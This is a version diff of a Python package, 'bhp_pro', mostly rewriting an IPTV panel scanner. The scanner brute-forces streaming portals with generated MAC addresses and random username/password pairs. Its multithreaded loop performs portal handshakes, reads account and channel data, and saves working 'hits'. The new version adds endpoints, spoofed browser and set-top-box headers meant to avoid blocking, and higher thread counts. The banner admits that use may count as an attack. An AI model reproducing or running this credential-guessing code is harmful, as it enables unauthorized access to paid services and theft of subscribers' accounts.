bhp-pro 1.1.8__tar.gz → 1.1.9__tar.gz

{bhp_pro-1.1.8 → bhp_pro-1.1.9}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: bhp_pro
-Version: 1.1.8
+Version: 1.1.9
 Summary: Web Enumeration Tool
 Author: ssskingsss12
 Author-email: smalls3000i@gmail.com

{bhp_pro-1.1.8 → bhp_pro-1.1.9}/bhp_pro.egg-info/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: bhp_pro
-Version: 1.1.8
+Version: 1.1.9
 Summary: Web Enumeration Tool
 Author: ssskingsss12
 Author-email: smalls3000i@gmail.com

{bhp_pro-1.1.8 → bhp_pro-1.1.9}/bhp_pro.py

@@ -14015,13 +14015,14 @@ def iptvscan():
     import sys
     import hashlib
     import json
+    import socket
     from datetime import datetime
-    from urllib.parse import quote
+    from urllib.parse import quote, urlparse
 
     # Disable SSL warnings
     import urllib3
     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
-
+    generate_ascii_banner("iptv", "scanner")
     class IPTVScanner:
         def __init__(self):
             self.session = requests.Session()
@@ -14035,31 +14036,65 @@ def iptvscan():
             self.panel_queue = []
             self.panel_threads = []
             self.panel_lock = threading.Lock()
-            self.max_panel_threads = 3  # concurrent panels
-            self.scanned_lock = threading.Lock()  # Add lock for thread safety
-            self.current_panel = "None"  # Track current panel being scanned
-            self.valid_panels = []  # Store valid panels for scanning
+            self.max_panel_threads = 20
+            self.scanned_lock = threading.Lock()
+            self.current_panel = "None"
+            self.valid_panels = []
+
+        def is_server_reachable(self, hostname, port, timeout=3):
+            """Check if a server is reachable using socket connection"""
+            try:
+                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+                s.settimeout(timeout)
+                result = s.connect_ex((hostname, port))
+                s.close()
+                return result == 0
+            except:
+                return False
 
         # ---------------- URL Validation Function ---------------- #
-        def validate_url(self, url, timeout=5):
+        def validate_url(self, url, timeout=3):
             """
-            Validate a URL by checking its HTTP status code
+            Validate a URL by checking its HTTP status code with better headers and user agents
             Returns: (is_valid, status_code, final_url)
             """
             try:
                 if not url.startswith('http'):
                     url = 'http://' + url
                 
-                response = self.session.head(url, timeout=timeout, allow_redirects=True)
+                # Use more realistic headers to avoid being blocked
+                headers = {
+                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
+                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
+                    'Accept-Language': 'en-US,en;q=0.5',
+                    'Connection': 'keep-alive',
+                    'Upgrade-Insecure-Requests': '1',
+                }
+                
+                # Try GET request with proper headers
+                response = self.session.get(url, headers=headers, timeout=timeout, allow_redirects=True, stream=True)
                 status_code = response.status_code
                 
-                # Consider 200-309 as valid, 400+ as invalid
-                if 200 <= status_code <= 309:
+                # Consider 200-499 as valid (some panels return 403 but are actually working)
+                if 200 <= status_code < 500:
                     return True, status_code, response.url
                 else:
                     return False, status_code, response.url
                     
             except requests.exceptions.RequestException as e:
+                # Try one more time with a different approach - just check if domain is reachable
+                try:
+                    # Extract just the domain:port
+                    parsed = urlparse(url if url.startswith('http') else 'http://' + url)
+                    domain_port = f"{parsed.hostname}:{parsed.port}" if parsed.port else parsed.hostname
+                    
+                    # Try connecting to the port directly
+                    port_num = parsed.port if parsed.port else 80
+                    if self.is_server_reachable(parsed.hostname, port_num, timeout):
+                        return True, "PortOpen", url
+                except:
+                    pass
+                    
                 return False, "Error", url
             except Exception as e:
                 return False, "Exception", url
@@ -14078,10 +14113,12 @@ def iptvscan():
                 is_valid, status_code, final_url = self.validate_url(url)
                 
                 if is_valid:
-                    print(f"\033[92m[{i}] VALID: {url} → Status: {status_code}\033[0m")
+                    status_display = f"Status: {status_code}" if isinstance(status_code, int) else f"Status: {status_code}"
+                    print(f"\033[92m[{i}] VALID: {url} → {status_display}\033[0m")
                     valid_urls.append(url)
                 else:
-                    print(f"\033[91m[{i}] INVALID: {url} → Status: {status_code}\033[0m")
+                    status_display = f"Status: {status_code}" if isinstance(status_code, int) else f"Status: {status_code}"
+                    print(f"\033[91m[{i}] INVALID: {url} → {status_display}\033[0m")
                     invalid_urls.append((url, status_code))
             
             # Show statistics
@@ -14092,7 +14129,18 @@ def iptvscan():
             if invalid_urls:
                 print("\n\033[93mInvalid URLs (will be skipped):\033[0m")
                 for url, status in invalid_urls:
-                    print(f"  {url} → Status: {status}")
+                    status_display = f"Status: {status}" if isinstance(status, int) else f"Status: {status}"
+                    print(f"  {url} → {status_display}")
+            
+            # Ask if user wants to include some invalid URLs that might still work
+            include_invalid = "n"
+            if include_invalid == "y":
+                for url, status in invalid_urls:
+                    if status == 403 or status == "PortOpen":  # 403 might still work, port is open
+                        include = "y"
+                        if include == "y":
+                            valid_urls.append(url)
+                            print(f"\033[93mAdded {url} to scan list\033[0m")
             
             return valid_urls
 
@@ -14126,8 +14174,8 @@ def iptvscan():
 
         # ---------------- Choose MAC mode ---------------- #
         def choose_mac_mode(self):
-            choice = input("Do you want to test a specific MAC or auto-generate? (single(s)/auto) [auto]: ").strip().lower() or "auto"
-            if choice == 'single' or choice == 's':
+            choice = input("Do you want to test a specific MAC or auto-generate? (specific/auto) [auto]: ").strip().lower() or "auto"
+            if choice == 'specific':
                 specific_mac = input("Enter MAC to test: ").strip()
                 mac_case = input("MAC case (upper/lower) [upper]: ").strip().lower() or "upper"
                 return choice, specific_mac, mac_case, 1
@@ -14141,20 +14189,37 @@ def iptvscan():
                 return choice, None, 'upper', mac_count
 
         # ---------------- Panel testing functions ---------------- #
-        def test_panel(self, panel_url, mac, timeout=10):
+        def test_panel(self, panel_url, mac, timeout=3):
             try:
-                original_panel = panel_url  # Store the original panel URL
+                original_panel = panel_url
                 if not panel_url.startswith('http'):
                     panel_url = 'http://' + panel_url
-                server = panel_url.replace('http://', '').replace('https://', '').split('/')[0]
+                
+                # Extract server and port
+                parsed = urlparse(panel_url)
+                server = parsed.hostname
+                port = parsed.port if parsed.port else 80
+                
+                # First check if server is reachable
+                if not self.is_server_reachable(server, port, timeout=3):
+                    return {'success': False, 'error': 'Server not reachable'}
+                
                 tkk = self.generate_random_string(32)
 
+                # Try different endpoint patterns
                 endpoints = [
                     f"http://{server}/server/load.php",
                     f"http://{server}/portal.php",
-                    f"http://{server}/c/portal.php"
+                    f"http://{server}/c/portal.php",
+                    f"http://{server}/panel/portal.php",
+                    f"http://{server}/stalker_portal/server/load.php",
+                    f"http://{server}/stalker_portal/c/portal.php"
                 ]
 
+                # Add the original URL as a potential endpoint
+                if panel_url not in endpoints:
+                    endpoints.insert(0, panel_url)
+
                 headers = {
                     'User-Agent': 'Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3 (KHTML, like Gecko) MAG200 stbapp ver: 4 rev: 1812 Mobile Safari/533.3',
                     'X-User-Agent': 'Model: MAG250; Link: WiFi',
@@ -14168,16 +14233,37 @@ def iptvscan():
 
                 auth_token = None
                 working_endpoint = None
+                
                 for endpoint in endpoints:
                     try:
-                        handshake_url = f"{endpoint}?type=stb&action=handshake&token={tkk}&JsHttpRequest=1-xml"
-                        response = self.session.get(handshake_url, headers=headers, timeout=timeout)
-                        if response.status_code == 200 and '"token":"' in response.text:
-                            token_match = re.search(r'"token":"([^"]+)"', response.text)
-                            if token_match:
-                                auth_token = token_match.group(1)
-                                working_endpoint = endpoint
-                                break
+                        # Try different parameter formats
+                        handshake_urls = [
+                            f"{endpoint}?type=stb&action=handshake&token={tkk}&JsHttpRequest=1-xml",
+                            f"{endpoint}?type=stb&action=handshake&JsHttpRequest=1-xml",
+                            f"{endpoint}?action=handshake&type=stb&token={tkk}"
+                        ]
+                        
+                        for handshake_url in handshake_urls:
+                            try:
+                                response = self.session.get(handshake_url, headers=headers, timeout=timeout)
+                                if response.status_code == 200 and ('"token":"' in response.text or 'token' in response.text):
+                                    # Try different patterns to extract token
+                                    token_match = re.search(r'"token":"([^"]+)"', response.text)
+                                    if not token_match:
+                                        token_match = re.search(r'"token":\s*"([^"]+)"', response.text)
+                                    if not token_match:
+                                        token_match = re.search(r'token["\']?\s*[:=]\s*["\']([^"\']+)', response.text)
+                                        
+                                    if token_match:
+                                        auth_token = token_match.group(1)
+                                        working_endpoint = endpoint
+                                        break
+                            except:
+                                continue
+                        
+                        if auth_token:
+                            break
+                            
                     except:
                         continue
 
@@ -14186,23 +14272,73 @@ def iptvscan():
 
                 headers['Authorization'] = f'Bearer {auth_token}'
 
-                profile_url = f"{working_endpoint}?type=stb&action=get_profile&JsHttpRequest=1-xml"
-                profile_response = self.session.get(profile_url, headers=headers, timeout=timeout)
-                if profile_response.status_code != 200:
+                # Try different profile URL patterns
+                profile_urls = [
+                    f"{working_endpoint}?type=stb&action=get_profile&JsHttpRequest=1-xml",
+                    f"{working_endpoint}?action=get_profile&type=stb&JsHttpRequest=1-xml"
+                ]
+                
+                profile_response = None
+                for profile_url in profile_urls:
+                    try:
+                        profile_response = self.session.get(profile_url, headers=headers, timeout=timeout)
+                        if profile_response.status_code == 200:
+                            break
+                    except:
+                        continue
+                
+                if not profile_response or profile_response.status_code != 200:
                     return {'success': False, 'error': 'Profile request failed'}
 
-                account_url = f"{working_endpoint}?type=account_info&action=get_main_info&JsHttpRequest=1-xml"
-                account_response = self.session.get(account_url, headers=headers, timeout=timeout)
-                if account_response.status_code != 200:
+                # Try different account info URL patterns
+                account_urls = [
+                    f"{working_endpoint}?type=account_info&action=get_main_info&JsHttpRequest=1-xml",
+                    f"{working_endpoint}?action=get_main_info&type=account_info&JsHttpRequest=1-xml"
+                ]
+                
+                account_response = None
+                for account_url in account_urls:
+                    try:
+                        account_response = self.session.get(account_url, headers=headers, timeout=timeout)
+                        if account_response.status_code == 200:
+                            break
+                    except:
+                        continue
+                
+                if not account_response or account_response.status_code != 200:
                     return {'success': False, 'error': 'Account info request failed'}
 
                 account_text = account_response.text
                 exp_match = re.search(r'"phone":"([^"]+)"', account_text) or re.search(r'"end_date":"([^"]+)"', account_text)
                 exp_date = exp_match.group(1) if exp_match else "Unknown"
 
-                channels_url = f"{working_endpoint}?type=itv&action=get_all_channels&JsHttpRequest=1-xml"
-                channels_response = self.session.get(channels_url, headers=headers, timeout=timeout)
-                channel_count = len(re.findall(r'"ch_id":"', channels_response.text)) if channels_response.status_code == 200 else 0
+                # Try different channels URL patterns
+                channels_urls = [
+                    f"{working_endpoint}?type=itv&action=get_all_channels&JsHttpRequest=1-xml",
+                    f"{working_endpoint}?action=get_all_channels&type=itv&JsHttpRequest=1-xml"
+                ]
+                
+                channels_response = None
+                for channels_url in channels_urls:
+                    try:
+                        channels_response = self.session.get(channels_url, headers=headers, timeout=timeout)
+                        if channels_response.status_code == 200:
+                            break
+                    except:
+                        continue
+                
+                channel_count = 0
+                if channels_response and channels_response.status_code == 200:
+                    # Try different patterns to count channels
+                    channel_count = len(re.findall(r'"ch_id":"', channels_response.text))
+                    if channel_count == 0:
+                        channel_count = len(re.findall(r'"id":', channels_response.text))
+                    if channel_count == 0:
+                        channel_count = len(re.findall(r'"name":', channels_response.text))
+
+                # Check if channels are 0 - if so, don't consider it a hit
+                if channel_count == 0:
+                    return {'success': False, 'error': 'No channels found'}
 
                 link_url = f"{working_endpoint}?type=itv&action=create_link&forced_storage=undefined&download=0&cmd=ffmpeg%20http%3A%2F%2Flocalhost%2Fch%2F181212_&JsHttpRequest=1-xml"
                 link_response = self.session.get(link_url, headers=headers, timeout=timeout)
@@ -14221,7 +14357,7 @@ def iptvscan():
 
                 m3u_url = f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus"
                 try:
-                    m3u_response = self.session.get(m3u_url, headers=headers, timeout=5)
+                    m3u_response = self.session.get(m3u_url, headers=headers, timeout=3)
                     m3u_status = "Working" if m3u_response.status_code == 200 else "Not Working"
                 except:
                     m3u_status = "Error"
@@ -14246,7 +14382,7 @@ def iptvscan():
                     'success': True,
                     'mac': mac,
                     'panel': server,
-                    'original_panel': original_panel,  # Save the original panel input
+                    'original_panel': original_panel,
                     'endpoint': working_endpoint,
                     'exp_date': exp_date,
                     'channels': channel_count,
@@ -14264,42 +14400,66 @@ def iptvscan():
             except Exception as e:
                 return {'success': False, 'error': str(e)}
 
-        def test_m3u_credentials(self, panel_url, username, password, timeout=8):
+        def test_m3u_credentials(self, panel_url, username, password, timeout=3):
             try:
-                original_panel = panel_url  # Store the original panel URL
+                original_panel = panel_url
                 if not panel_url.startswith('http'):
                     panel_url = 'http://' + panel_url
                 server = panel_url.replace('http://', '').replace('https://', '').split('/')[0]
 
                 headers = {
-                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
+                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
                     'Accept': '*/*',
                     'Connection': 'close',
                     'Host': server
                 }
 
-                m3u_url = f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus"
-                resp = self.session.get(m3u_url, headers=headers, timeout=timeout)
-                body = resp.text if resp else ''
-                ok = resp.status_code == 200 and ('#EXTM3U' in body or len(body) > 50)
+                # Try different M3U URL patterns
+                m3u_urls = [
+                    f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus",
+                    f"http://{server}/get.php?username={username}&password={password}&type=m3u",
+                    f"http://{server}/panel_api.php?username={username}&password={password}&action=get_live_streams",
+                    f"http://{server}/player_api.php?username={username}&password={password}&action=get_live_streams"
+                ]
+                
+                ok = False
+                m3u_url = m3u_urls[0]
+                body = ''
+                status_code = 0
+                
+                for test_url in m3u_urls:
+                    try:
+                        resp = self.session.get(test_url, headers=headers, timeout=timeout)
+                        status_code = resp.status_code
+                        body = resp.text if resp else ''
+                        
+                        # Check for various success indicators
+                        if (resp.status_code == 200 and 
+                            ('#EXTM3U' in body or 'http://' in body or '.m3u8' in body or 
+                            len(body) > 100 or 'channel' in body.lower() or 'stream' in body.lower())):
+                            ok = True
+                            m3u_url = test_url
+                            break
+                    except:
+                        continue
 
                 # Test EPG URL
                 epg_url = f"http://{server}/xmltv.php?username={username}&password={password}"
                 try:
-                    epg_resp = self.session.get(epg_url, headers=headers, timeout=5)
+                    epg_resp = self.session.get(epg_url, headers=headers, timeout=3)
                     epg_status = "Working" if epg_resp.status_code == 200 and 'xml' in epg_resp.text.lower() else "Not Working"
                 except:
                     epg_status = "Error"
 
                 return {
                     'success': ok,
-                    'status_code': resp.status_code,
+                    'status_code': status_code,
                     'm3u_url': m3u_url,
                     'epg_url': epg_url,
                     'epg_status': epg_status,
                     'username': username,
                     'password': password,
-                    'original_panel': original_panel,  # Save the original panel input
+                    'original_panel': original_panel,
                     'body_snippet': body[:200] if body else ''
                 }
 
@@ -14324,7 +14484,7 @@ def iptvscan():
                     f.write(f"Mode: {mode}\n")
                     if mode == 'mac':
                         f.write(f"MAC: {result.get('mac')}\n")
-                    f.write(f"Panel: {result.get('original_panel', result.get('panel'))}\n")  # Save original panel
+                    f.write(f"Panel: {result.get('original_panel', result.get('panel'))}\n")
                     if 'endpoint' in result:
                         f.write(f"Endpoint: {result.get('endpoint')}\n")
                     if 'exp_date' in result:
@@ -14365,19 +14525,16 @@ def iptvscan():
         def worker(self, panel_url, mode='mac', mac_case='upper', prefix_index=0, creds_min=5, creds_max=15, mac_count=0):
             self.active_threads += 1
             try:
-                # Set the current panel for display
                 self.current_panel = panel_url
                 
                 while self.running:
-                    # Check global count first
                     if mac_count > 0 and self.scanned_count >= mac_count:
                         break
                         
                     if mode == 'mac':
                         mac = self.generate_mac(prefix_index, mac_case)
-                        result = self.test_panel(panel_url, mac, timeout=15)
+                        result = self.test_panel(panel_url, mac, timeout=3)
                         
-                        # Thread-safe counter update
                         with self.scanned_lock:
                             self.scanned_count += 1
                             current_count = self.scanned_count
@@ -14387,8 +14544,9 @@ def iptvscan():
                             print(f"    Exp: {result.get('exp_date')} | Channels: {result.get('channels')} | M3U: {result.get('m3u_status')}")
                             self.save_hit(result, mode='mac')
 
+                        # Update status display
+                        sys.stdout.write(f"\rScanned: {self.scanned_count} | Mac: {mac} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
                     else:
-                        # Credentials mode
                         if mac_count > 0 and self.scanned_count >= mac_count:
                             break
                             
@@ -14407,25 +14565,21 @@ def iptvscan():
                             print(f"    M3U URL: {result.get('m3u_url')}")
                             self.save_hit(result, mode='creds')
 
-                    # Update status display - reduced verbosity
-                    if self.scanned_count % 1 == 0 or self.scanned_count == 1:
-                        sys.stdout.write(f"\rScanned: {self.scanned_count} | Mac: {mac} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
-                        sys.stdout.flush()
-                    
-                    # Check if we've reached the limit
+                        # Update status display
+                        sys.stdout.write(f"\rScanned: {self.scanned_count} | Creds: {username}:{password} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
+                                    
                     if mac_count > 0 and self.scanned_count >= mac_count:
                         break
                         
                     time.sleep(0.1)
             finally:
                 self.active_threads -= 1
-                self.current_panel = "None"  # Reset when done
+                self.current_panel = "None"
 
         # ---------------- Panel thread runner ---------------- #
         def panel_runner(self, panel_url, mode, mac_case, prefix_index, creds_min, creds_max, mac_count):
-            # Adjust thread count based on requested MAC count
             if mac_count > 0:
-                thread_count = min(18, max(1, mac_count // 10))  # Scale threads with count
+                thread_count = min(20, max(1, mac_count // 10))
             else:
                 thread_count = 100
 
@@ -14437,18 +14591,15 @@ def iptvscan():
                 threads.append(t)
 
             try:
-                # Properly wait for all threads to finish
                 for t in threads:
-                    t.join()  # <-- join each thread, blocking until all threads finish
+                    t.join()
             except KeyboardInterrupt:
                 self.running = False
                 for t in threads:
                     t.join(timeout=1)
 
-
         # ---------------- Main scanner function ---------------- #
         def run_scanner(self):
-            """Main scanner function that handles the scanning process"""
             print("\033[95m" + "="*60)
             print("           IPTV PANEL SCANNER")
             print("="*60 + "\033[0m")
@@ -14477,8 +14628,7 @@ def iptvscan():
             if not valid_panels:
                 print("\n\033[91mNo valid URLs to scan. Exiting.\033[0m")
                 return
-                
-            # Ask if user wants to continue with only valid URLs
+
             continue_scan = "y"
             if continue_scan != "y":
                 print("Scan cancelled.")
@@ -14488,8 +14638,18 @@ def iptvscan():
 
             # MAC choice / count
             mac_choice, specific_mac, mac_case, mac_count = ('auto', None, 'upper', 0)
+            creds_count = 0  # Add this variable for credentials count
+            
             if mode == 'mac':
                 mac_choice, specific_mac, mac_case, mac_count = self.choose_mac_mode()
+            else:
+                # Add prompt for number of credentials to generate
+                creds_count_input = input("Enter how many credentials to generate/test: ").strip() or "100"
+                try:
+                    creds_count = int(creds_count_input)
+                except ValueError:
+                    print(f"Invalid number '{creds_count_input}', using default 100")
+                    creds_count = 100
 
             creds_min = 5
             creds_max = 15
@@ -14515,8 +14675,11 @@ def iptvscan():
                 self.scanned_count = 0
                 self.found_hits = 0
                 
-                # Run the panel scanner
-                self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, mac_count)
+                # Run the panel scanner - pass creds_count for creds mode
+                if mode == 'mac':
+                    self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, mac_count)
+                else:
+                    self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, creds_count)
                 
                 # Display results for this panel
                 print(f"\nPanel {panel} completed: Scanned {self.scanned_count}, Hits {self.found_hits}")
@@ -14524,18 +14687,14 @@ def iptvscan():
             print(f"\nAll panels processed! Total hits found: {self.found_hits}")
 
     def main():
-        """Main function that handles the application flow"""
         try:
-            # Create scanner instance
             scanner = IPTVScanner()
-            
-            # Run the scanner
             scanner.run_scanner()
             
         except KeyboardInterrupt:
             print("\n\nScan interrupted by user. Exiting gracefully...")
             scanner.running = False
-            time.sleep(1)  # Give threads time to clean up
+            time.sleep(1)
             
         except Exception as e:
             print(f"\nAn unexpected error occurred: {e}")
@@ -14547,6 +14706,7 @@ def iptvscan():
 
     if __name__ == "__main__":
         main()
+
 def ipcam():
     import requests
     import re
@@ -16065,7 +16225,7 @@ def banner():
     MAGENTA + "██╔═══╝ ██╔══██╗██║   ██║" + LIME + "user should understand that useage of this script may be" + ENDC,
     MAGENTA + "██║     ██║  ██║╚██████╔╝" + LIME + "concidered an attack on a data network, and may violate terms" + ENDC,
     MAGENTA + "╚═╝     ╚═╝  ╚═╝ ╚═════╝" + LIME + "of service, use on your own network or get permission first" + ENDC,
-    PURPLE + "script_version@ 1.1.9 ®" + ENDC,
+    PURPLE + "script_version@ 1.2.0 ®" + ENDC,
     ORANGE + "All rights reserved 2022-2025 ♛: ®" + ENDC, 
     MAGENTA + "In Collaboration whit Ayan Rajpoot ® " + ENDC,
     BLUE +  "Support: https://t.me/BugScanX 💬" + ENDC,     

{bhp_pro-1.1.8 → bhp_pro-1.1.9}/setup.py

@@ -2,7 +2,7 @@ from setuptools import setup
 
 setup(
     name='bhp_pro',  # Lowercase, unique on PyPI
-    version='1.1.8',
+    version='1.1.9',
     py_modules=['bhp_pro'],  # Matches your filename
     entry_points={
         'console_scripts': [